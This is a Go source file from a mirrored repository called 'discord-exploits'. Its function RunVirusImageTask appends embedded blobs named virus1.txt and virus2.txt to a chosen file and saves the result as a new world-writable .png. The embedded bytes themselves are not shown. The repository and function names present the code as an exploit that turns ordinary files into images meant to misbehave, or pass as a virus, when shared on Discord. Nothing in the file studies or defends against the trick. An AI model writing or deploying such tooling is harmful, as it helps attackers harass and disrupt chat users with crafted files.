mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2024-12-22 20:15:41 +00:00
a77abe5c32
a giant slice of bytes is never pretty
30 lines
546 B
Go
30 lines
546 B
Go
package exploits
|
|
|
|
import (
|
|
_ "embed" // embed
|
|
"fmt"
|
|
"github.com/Schmenn/discord-exploits/modules"
|
|
"os"
|
|
)
|
|
|
|
var (
|
|
//go:embed virus1.txt
|
|
vpng1 []byte
|
|
//go:embed virus2.txt
|
|
vpng2 []byte
|
|
vpng = append(vpng1, vpng2...)
|
|
)
|
|
|
|
// RunVirusImageTask edits file
|
|
func RunVirusImageTask(fileName string) {
|
|
data, err := os.ReadFile(fileName)
|
|
modules.Check(err)
|
|
data = append(data, vpng...)
|
|
name := modules.CreateName("png")
|
|
fmt.Println("Saved video to: " + name)
|
|
err = os.WriteFile(name, data, os.FileMode(0777))
|
|
if err != nil {
|
|
panic(err)
|
|
}
|
|
}
|